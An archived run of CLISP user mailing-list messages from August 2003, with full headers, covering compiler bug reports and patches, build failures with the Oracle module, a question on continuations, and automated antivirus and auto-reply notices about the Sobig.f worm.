bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 13:43:00 2003 X-Original-Date: 22 Aug 2003 16:39:12 -0400 > * In message <6E3D596F-D4B5-11D7-AEAF-000393030214@mac.com> > * On the subject of "CLisp or Me, take three?" > * Sent on Fri, 22 Aug 2003 11:29:33 -0400 > * Honorable Douglas Philips writes: > > % cat test3.lisp > (defclass t1 () ( (foo :accessor foo :initform :foo))) > > (defun test-me () > (let ((a (make-instance 't1))) > (if (typep a 't1) > (format t "worked~%") > (format t "failed!~%")))) > > (test-me) > > % clisp test3 > worked > % clisp -C test3 > failed! thank you very much for your rigorous testing and concise test cases. please try the appended patch. > Man, I just hate chasing these kinds of bugs. No more -C for me for a > while. this just means that the bugs will be discovered later (if ever) and you will have to deal with them in a release. -- Sam Steingold (http://www.podval.org/~sds) running w2k Parachute for sale, used once, never opened, small stain. Index: compiler.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v retrieving revision 1.133 diff -u -w -b -u -b -w -i -B -r1.133 compiler.lisp --- compiler.lisp 20 Aug 2003 22:56:59 -0000 1.133 +++ compiler.lisp 22 Aug 2003 20:27:01 -0000 @@ -4250,7 +4250,7 @@ :sub-anodes '() :seclass '(NIL . NIL) :code (if *for-value* - `((CONST ,(if *compiling-from-file* + `((CONST ,(if *fasoutput-stream* (if (and (symbolp form) (c-constantp form)) (make-const :horizon ':all :form form :value (c-constant-value form)) From lisp-clisp-list@m.gmane.org Fri Aug 22 14:11:24 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qE5v-0008Eh-00 for ; Fri, 22 Aug 2003 08:44:55 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qE6n-0001kZ-00 for ; Fri, 22 Aug 2003 17:45:49 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19qE6m-0001kR-00 for ; Fri, 22 Aug 2003 17:45:48 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qE5r-0006xv-00 for ; Fri, 22 Aug 2003 17:44:51 +0200 From: Sam Steingold Organization: disorganization Lines: 29 Message-ID: References: <20030820165256.7F549B660B@thalassa.informatimago.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: [conformity bug] documentation of package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 14:13:19 2003 X-Original-Date: 22 Aug 2003 11:44:51 -0400 > * In message <20030820165256.7F549B660B@thalassa.informatimago.com> > * On the subject of "[conformity bug] documentation of package" > * Sent on Wed, 20 Aug 2003 18:52:56 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > [22]> (documentation (find-package :package) t) > *** - DOCUMENTATION: first argument # is illegal, not a symbol > > > However, > http://www.lisp.org/HyperSpec/Body/stagenfun_doc_umentationcp.html#documentation > indicates for packages: > > Packages: > > documentation (x package) (doc-type (eql 't)) > > (setf documentation) new-value (x package) (doc-type (eql 't)) fixed in the CVS PS. please do not cross-post to both clisp-list and clisp-devel. think hard who your audience are and address correctly. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: it's here to save your butt. From pascal@informatimago.com Fri Aug 22 14:20:23 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qCtd-0006Pn-00; Fri, 22 Aug 2003 07:28:10 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 72AB8B6615; Fri, 22 Aug 2003 16:27:51 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16198.10343.409479.719190@thalassa.informatimago.com> To: amit phalgune Cc: Sam Steingold , clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLIP , Mac and sockets In-Reply-To: References: <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 14:24:17 2003 X-Original-Date: Fri, 22 Aug 2003 16:27:51 +0200 amit phalgune writes: > Also the CLISP site mentions about the Fink for Macs. Is this some kind > of interface between Mac and CLISP throughsome Unix systems ? >=20 > Please help !! > Amit fink is a MacOSX tool that you can use to download and install linux programs ported to MacOSX. clisp-2.29 is available with fink, but I've not been able to compile it so far. The last hint I have is that gcc version 3.1 won't compile clisp on MacOSX, and you need either to switch to gcc 2.95 or to upgrade to gcc 3.3. I'm in the process of doing that. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From Hedwige.Aymon@hepvs.ch Fri Aug 22 14:25:10 2003 Received: from [153.109.106.15] (helo=nwehep1.hepvs.ch) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19q8r2-0005n5-00 for ; Fri, 22 Aug 2003 03:09:12 -0700 Received: from HEPVS-MTA by nwehep1.hepvs.ch with Novell_GroupWise; Fri, 22 Aug 2003 12:11:20 +0200 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.5.0 From: "Hedwige Aymon" Reply-To: Hedwige.Aymon@hepvs.ch To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Subject: [clisp-list] =?ISO-8859-1?Q?R=E9p.=20:=20Thank=20you!=20(Absence)?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 14:27:24 2003 X-Original-Date: Fri, 22 Aug 2003 12:10:59 +0200 Bonjour, Je suis absente jusqu'au 31 ao=FBt. 2003. Vos messages seront trait=E9s = d=E8s mon retour.=20 Merci de votre patience et de votre compr=E9hension. Meilleures salutations Hedwige Aymon From MAILER-DAEMON Fri Aug 22 14:37:21 2003 Received: from [216.201.157.194] (helo=beecave-logix.beecavecontract.com ident=qmailr) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qJaw-0006S1-00 for ; Fri, 22 Aug 2003 14:37:18 -0700 Received: (qmail 23252 invoked by uid 75); 22 Aug 2003 21:37:17 -0000 From: "System Anti-Virus Administrator" To: clisp-list@sourceforge.net Message-ID: X-Tnz-Problem-Type: 40 MIME-Version: 1.0 Content-type: text/plain Subject: [clisp-list] virus found in sent message "Re: Your application" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 14:41:04 2003 X-Original-Date: 22 Aug 2003 21:37:17 -0000 Attention: clisp-list@sf.net A virus was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching its destination. The virus was reported to be: the W32/Sobig.f@MM virus !!! Please update your virus scanner or contact your IT support personnel as soon as possible as you have a virus on your system. Your message was sent with the following envelope: MAIL FROM: clisp-list@sf.net RCPT TO: desk2138@beecavecontract.com ... and with the following headers: --- MAILFROM: clisp-list@sf.net Received: from adsl-66-136-201-184.dsl.austtx.swbell.net (HELO D7Y05611) ([66.136.201.184]) (envelope-sender ) by 216.201.157.194 (qmail-ldap-1.03) with SMTP for ; 22 Aug 2003 21:37:08 -0000 From: To: Subject: Re: Your application Date: Fri, 22 Aug 2003 16:37:06 --0500 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01C2933A" --- From minimalist@project.exolab.org Fri Aug 22 15:38:26 2003 Received: from project.exolab.org ([65.222.219.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qKY1-0005b6-00 for ; Fri, 22 Aug 2003 15:38:21 -0700 Received: (from daemon@localhost) by project.exolab.org (8.11.1/8.11.1) id h7MMcAd17701; Fri, 22 Aug 2003 15:38:10 -0700 Message-Id: <200308222238.h7MMcAd17701@project.exolab.org> From: Minimalist Manager To: X-Sender: minimalist@project.exolab.org X-Mailing-List-Server: Minimalist v2.2 Subject: [clisp-list] Re: That movie Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 15:39:10 2003 X-Original-Date: Fri, 22 Aug 2003 15:38:10 -0700 ERROR: There is no such list MOVIE here. SOLUTION: Send a message to minimalist@project.exolab.org with a subject of 'info' (no quotes) for a list of available mailing lists. -- Sincerely, the Minimalist From lisp-clisp-list@m.gmane.org Fri Aug 22 16:38:04 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qHdP-0003Kc-00 for ; Fri, 22 Aug 2003 12:31:43 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qHeG-0003z2-00 for ; Fri, 22 Aug 2003 21:32:36 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19qHeF-0003yn-00 for ; Fri, 22 Aug 2003 21:32:35 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qHdL-0005S9-00 for ; Fri, 22 Aug 2003 21:31:39 +0200 From: Sam Steingold Organization: disorganization Lines: 75 Message-ID: References: <7701C028-D42D-11D7-AEAF-000393030214@mac.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Bug in me or CLisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 16:39:01 2003 X-Original-Date: 22 Aug 2003 15:31:38 -0400 > * In message <7701C028-D42D-11D7-AEAF-000393030214@mac.com> > * On the subject of "Re: Re: Bug in me or CLisp?" > * Sent on Thu, 21 Aug 2003 19:16:16 -0400 > * Honorable Douglas Philips writes: > > Ok, the new bug: test2.lisp: > (defun xyzzy ((self notype) x y) > ; ... > (cons x y)) > > > Not compiled: > clisp test2 > > *** - SYSTEM::C-ERROR: symbol SYSTEM::*ERROR-COUNT* has no value I introduced this bug when I made DEFUN call LAMBDA-LIST-TO-SIGNATURE at macroexpansion time. This saves LIB file size (10%) and thus REQUIRE load time. The appended patch should restore the correct error message. OTOH, I am no longer sure that the 10% saving in LIB file size was worth the effort. (a bigger saving might come from putting an IN-PACKAGE statement in all FAS and LIB files and not using full package prefixes...) Bruno? > But, with clisp -C test2 > > ERROR in #:COMPILED-FORM-34 : > Illegal lambda list element (SELF NOTYPE) > ERROR in #:COMPILED-FORM-34 : > Illegal lambda list element (SELF NOTYPE) > ERROR in XYZZY : > Illegal lambda list element (SELF NOTYPE) > There were errors in the following functions: > #:COMPILED-FORM-34 XYZZY this is just fine: the error message is quite clear, if many a little bit redundant. -- Sam Steingold (http://www.podval.org/~sds) running w2k You think Oedipus had a problem -- Adam was Eve's mother. Index: init.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/init.lisp,v retrieving revision 1.104 diff -u -w -b -u -b -w -i -B -r1.104 init.lisp --- init.lisp 12 Aug 2003 22:20:48 -0000 1.104 +++ init.lisp 22 Aug 2003 19:21:42 -0000 @@ -1622,6 +1622,8 @@ ,@body-rest)))) `(LET () (SYSTEM::REMOVE-OLD-DEFINITIONS ,symbolform) + (SYSTEM::%PUTD ,symbolform + (FUNCTION ,name (LAMBDA ,@lambdabody))) ,@(if ; Is name declared inline? (if (and compiler::*compiling* compiler::*compiling-from-file*) @@ -1665,8 +1667,6 @@ `((SYSTEM::%SET-DOCUMENTATION ,symbolform 'FUNCTION ',docstring)) '()) - (SYSTEM::%PUTD ,symbolform - (FUNCTION ,name (LAMBDA ,@lambdabody))) (EVAL-WHEN (EVAL) (SYSTEM::%PUT ,symbolform 'SYSTEM::DEFINITION (CONS ',form (THE-ENVIRONMENT)))) From zera_holladay@yahoo.com Fri Aug 22 19:39:55 2003 Received: from web41402.mail.yahoo.com ([66.218.93.68]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qOJe-000583-00 for ; Fri, 22 Aug 2003 19:39:46 -0700 Message-ID: <20030823023940.12111.qmail@web41402.mail.yahoo.com> Received: from [65.43.108.174] by web41402.mail.yahoo.com via HTTP; Fri, 22 Aug 2003 19:39:40 PDT From: zera holladay To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Continuations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 19:41:07 2003 X-Original-Date: Fri, 22 Aug 2003 19:39:40 -0700 (PDT) Clisp is beautiful, so thank you to all those who are creating it. This may be a common, grandiose or unrelated question, but what about continuations like scheme? I understand that this is one of the differences between these dialects. Is there an accepted common lisp hack for a “call-with-current-continuation” procedure that does not over complicate its usefulness? Are there any papers on this topic? Thank you, Zera Holladay __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From lisp-clisp-list@m.gmane.org Fri Aug 22 19:55:49 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qOZ9-0000mf-00 for ; Fri, 22 Aug 2003 19:55:47 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qOa0-0003Fu-00 for ; Sat, 23 Aug 2003 04:56:40 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19qOZz-0003Fm-00 for ; Sat, 23 Aug 2003 04:56:39 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qOZ5-0006g8-00 for ; Sat, 23 Aug 2003 04:55:43 +0200 From: Georges Ko Organization: gko.net Lines: 70 Message-ID: References: <200308221813.h7MIDZiT000929@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:vvd99uxD0mBizBYFQi9ITris6f0= Subject: [clisp-list] Re: Binaries of clisp-oracle with Oracle for Sun ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 19:56:03 2003 X-Original-Date: Sat, 23 Aug 2003 10:55:27 +0800 "John K. Hinsdale" writes: Hi John, > I'm not aware anyone has compiled --with-module=oracle under Sun, but > there's no reason why it should not work. I developed the module > under Debian Linux and Oracle 8.1.7. (You need at least 8.0.5 to use > the module). Yes, I use Oracle 8.1.7. > > When I try to compile, I have a core dump: > > Do you mean (a) you get a core dump during the compilation, or (b) a > core dump when you are running CLISP compiled from source? I'm > guessing (b). Actually, I have the core dump in the "configure" phase. Hey, I haven't noticed that my article has been truncated after "I have a core dump"! (why? dot in 1st column?) , so this is the rest: . . . ln -s ../src/dutch.lisp dutch.lisp ln -s ../src/deprecated.lisp deprecated.lisp cp -p ../src/cfgsunux.lisp config.lisp chmod +w config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" Segmentation Fault - core dumped make: *** [interpreted.mem] Error 139 I used the following command: ./configure --with-dynamic-ffi --with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp --with-module=oracle --build oralisp > What version of CLISP are you compiling? Early versions of the Oracle > module had bugs, and also relied on parts of the CLISP FFI interface > that had bugs. But these have since been fixed. The official 2.30 (which has already your module). I have tried without your module and have the same outcome, dying when trying to write the image. Actually, just running "./lisp.run" core dumps. > If you've got the lastest CVS snapshot, it really should work. If > not, consider using using the CVS snapshot as your source base. OK, I'll give it a shot, but I guess 2.30 should compile OK, I'll check what gone wrong. I think I don't have any of the "recommended" 4 libraries so I'll install them and see what happens. > In any case I would be happy to help you make it work. Thanks already for the module! > If you want to use a stable CLISP codebase (e.g. 2.30) it may work to > just drop in the latest source for the Oracle module -- I can email > you a tarball -- and recompile. That's what I'm currently using. Georges -- Georges Ko gko@gko.net 2003-08-23 Cycle 78, year 20 (Gui-Wei), month 7 (Geng-Shen), day 26 (Wu-Chen) From dgou@mac.com Sat Aug 23 14:34:37 2003 Received: from smtpout.mac.com ([17.250.248.86]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qg1Z-00040m-00 for ; Sat, 23 Aug 2003 14:34:17 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7NLY1Kx006039; Sat, 23 Aug 2003 14:34:01 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7NLXdlc017549; Sat, 23 Aug 2003 14:33:57 -0700 (PDT) Subject: Re: [clisp-list] Continuations Content-Type: text/plain; charset=ISO-8859-1; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: zera holladay From: Douglas Philips In-Reply-To: <20030823023940.12111.qmail@web41402.mail.yahoo.com> Message-Id: <7592E827-D5B1-11D7-BAD6-000393030214@mac.com> Content-Transfer-Encoding: quoted-printable X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 23 14:35:36 2003 X-Original-Date: Sat, 23 Aug 2003 17:33:38 -0400 > Clisp is beautiful, so thank you to all those who are > creating it. Hear Hear! > This may be a common, grandiose or unrelated question, > but what about continuations like scheme? I > understand that this is one of the differences between > these dialects. Is there an accepted common lisp hack > for a =93call-with-current-continuation=94 procedure that > does not over complicate its usefulness? Are there > any papers on this topic? As to complications, over or under or useful or not, that may be more=20 in the eye of the beholder. An excellent source of macro knowledge, and of one particular way of=20 doing continuations in ACL can be found in Paul Graham's book: On Lisp.=20= Its out of print, but available on his website:=20 http://www.paulgraham.com/ Don't mind the opening page graphic, its in tune with his=20 anti-email-spam attitude and articles. Click on the 'books' tab on the=20= left and you'll get to info on both his books, including (eventually)=20 links to download On Lisp as either postscript (compressed and not) or=20= PDF. Enjoy! ; Sat, 23 Aug 2003 14:48:06 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7NLlm5u024076 for ; Sat, 23 Aug 2003 14:47:48 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7NLlSwq021756 for ; Sat, 23 Aug 2003 14:47:47 -0700 (PDT) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Douglas Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <63B272BD-D5B3-11D7-BAD6-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Re: CLisp or Me, take three? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 23 14:49:03 2003 X-Original-Date: Sat, 23 Aug 2003 17:47:27 -0400 On Friday, Aug 22, 2003, at 16:39 US/Eastern, Sam Steingold wrote: > thank you very much for your rigorous testing and concise test cases. > please try the appended patch. The cvs HEAD that I checked out this AM seems to have that patch! It looks as if it solves test1, test2 and test3 issues. Thanks for such fast turn around! >> Man, I just hate chasing these kinds of bugs. No more -C for me for a >> while. > > this just means that the bugs will be discovered later (if ever) and > you will have to deal with them in a release. I really hope that the two branch source will make that a lot less painful if/when it happens. Sorry for being so terse/harsh. So far the test cases have been somewhat easy to identify. I went looking at compiler.lisp and am puzzled by the dichotomy of tests, and when testing *fasoutput-stream* is done and when testing *compiling-from-file* (and what about plain ol' *compiling* ??) I'll keep playing with -C, but only after I believe the code works interpreted and as compiled as a file. ;-) ; Sat, 23 Aug 2003 14:53:39 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7NLrXa6019619; Sat, 23 Aug 2003 14:53:33 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7NLrXOc019077; Sat, 23 Aug 2003 14:53:33 -0700 (PDT) From: amit phalgune To: Douglas Philips cc: clisp-list@lists.sourceforge.net In-Reply-To: <63B272BD-D5B3-11D7-BAD6-000393030214@mac.com> Message-ID: References: <63B272BD-D5B3-11D7-BAD6-000393030214@mac.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] NewBie Problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 23 14:54:10 2003 X-Original-Date: Sat, 23 Aug 2003 14:53:33 -0700 (PDT) Hi , I am getting the following error . Does anyone have an idea what this error is. and How I can solve it. *** - DEFGENERIC DESTROY: The only valid method combination is STANDARD : (:METHOD-COMBINATION PROGN) Thanks Amit From lisp-clisp-list@m.gmane.org Sat Aug 23 18:56:01 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qk6p-0003KK-00 for ; Sat, 23 Aug 2003 18:55:59 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qk7e-0007PE-00 for ; Sun, 24 Aug 2003 03:56:50 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19qk7d-0007P6-00 for ; Sun, 24 Aug 2003 03:56:49 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qk6l-0005yY-00 for ; Sun, 24 Aug 2003 03:55:55 +0200 From: Sam Steingold Organization: disorganization Lines: 21 Message-ID: References: <63B272BD-D5B3-11D7-BAD6-000393030214@mac.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: NewBie Problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 23 18:57:03 2003 X-Original-Date: 23 Aug 2003 21:55:56 -0400 > * In message > * On the subject of "NewBie Problem" > * Sent on Sat, 23 Aug 2003 14:53:33 -0700 (PDT) > * Honorable amit phalgune writes: > > I am getting the following error . > Does anyone have an idea what this error is. and How I can solve it. > > *** - DEFGENERIC DESTROY: The only valid method combination is STANDARD : > (:METHOD-COMBINATION PROGN) : "Only the STANDARD method combination is implemented." patches are welcome -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From ANTIGEN_EXCH-CONNECTOR@spirentcom.com Sun Aug 24 01:25:58 2003 Received: from mail-out-b.spirentcom.com ([199.1.46.14] helo=exch-connector.netcomsystems.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qqCD-0007Ee-00 for ; Sun, 24 Aug 2003 01:25:57 -0700 Received: by EXCH-CONNECTOR with Internet Mail Service (5.5.2655.55) id ; Sun, 24 Aug 2003 01:25:50 -0700 Message-ID: From: ANTIGEN_EXCH-CONNECTOR To: "'clisp-list@sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain Subject: [clisp-list] Antigen found VIRUS= W32/Sobig.f@MM (NAI,Norman) virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 24 01:26:06 2003 X-Original-Date: Sun, 24 Aug 2003 01:25:48 -0700 Antigen for Exchange found movie0045.pif infected with VIRUS= W32/Sobig.f@MM (NAI,Norman) worm. The message is currently Purged. The message, "Re: Re: My details", was sent from clisp-list@sf.net and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCH-CONNECTOR. From ANTIGEN_EXCH-CONNECTOR@spirentcom.com Sun Aug 24 02:02:43 2003 Received: from mail-out-b.spirentcom.com ([199.1.46.14] helo=exch-connector.netcomsystems.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qqlm-0004W7-00 for ; Sun, 24 Aug 2003 02:02:42 -0700 Received: by EXCH-CONNECTOR with Internet Mail Service (5.5.2655.55) id ; Sun, 24 Aug 2003 02:02:36 -0700 Message-ID: From: ANTIGEN_EXCH-CONNECTOR To: "'clisp-list@sf.net'" 